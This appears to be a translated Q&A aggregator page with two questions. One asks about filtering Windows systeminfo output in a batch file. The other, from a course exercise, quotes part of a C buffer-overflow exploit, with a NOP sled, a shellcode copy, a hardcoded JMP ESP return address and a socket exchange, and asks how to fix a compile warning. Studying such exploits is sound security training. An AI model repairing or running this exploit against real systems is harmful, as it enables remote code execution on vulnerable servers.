小编Jus*_*und的帖子

使用| find在cmd中查找多行

我正在尝试制作批处理文件以systeminfo在Windows 7中运行该命令,并缩小结果范围以不显示热修复信息 - 或仅显示某些特定行.

有没有办法在不多次写出命令的情况下执行此操作?即,现在,我有以下内容:

systeminfo|find "System Boot Time"

systeminfo|find "Host Name"

systeminfo|find "OS Name"
Run Code Online (Sandbox Code Playgroud)

等等

这样做的问题是它必须为每个新行重新加载systeminfo cmd中的所有信息,这需要相当长的时间.是否可以只运行一次命令并找到拉多行?

如果没有,是否可以使用其他命令删除信息?(我没有听说过这样的但不确定它不存在)

cmd batch-file find

4
推荐指数
1
解决办法
9817
查看次数

在C脚本中从不兼容的指针类型进行分配

在我上的一门课程中,给了我一个用C编写的损坏的缓冲区溢出脚本,并且必须修复损坏的代码。到目前为止,我已经修补了一些东西,但是在尝试编译它时会收到此错误消息(错误是从初始代码中显示出来的,而不是我编辑过的任何内容):

 

646-fixed.c:在功能'exploit'中:

646-fixed.c:48:警告:来自不兼容指针类型的赋值

 

以下是发生错误的功能。我对C不太熟悉-但是从昨天收到的答复中,我了解到发生这种情况是由于ptr的类型为int,而邪恶的类型为char。我不知道该怎么做才能解决此问题-有人可以帮忙吗?您也可以在此处查看完整脚本  

void exploit(int sock) {
      FILE *test;
      int *ptr;
      char userbuf[] = "USER madivan\r\n";
      char evil[3001];
      char buf[3012];
      char receive[1024];
      char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                       "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);
      memset(evil, 0x00, 3001);
      memset(evil, 0x43, 3000);
48    ptr = &evil;
      ptr = ptr + 652; // 2608 
      memcpy(ptr, &nopsled, 16);
      ptr = ptr + 4;
      memcpy(ptr, &shellcode, 317);
      *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

      // banner
      recv(sock, receive, 200, 0);
      printf("[+] %s", receive); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow

2
推荐指数
1
解决办法
2290
查看次数

标签 统计

batch-file ×1

buffer-overflow ×1

c ×1

cmd ×1

find ×1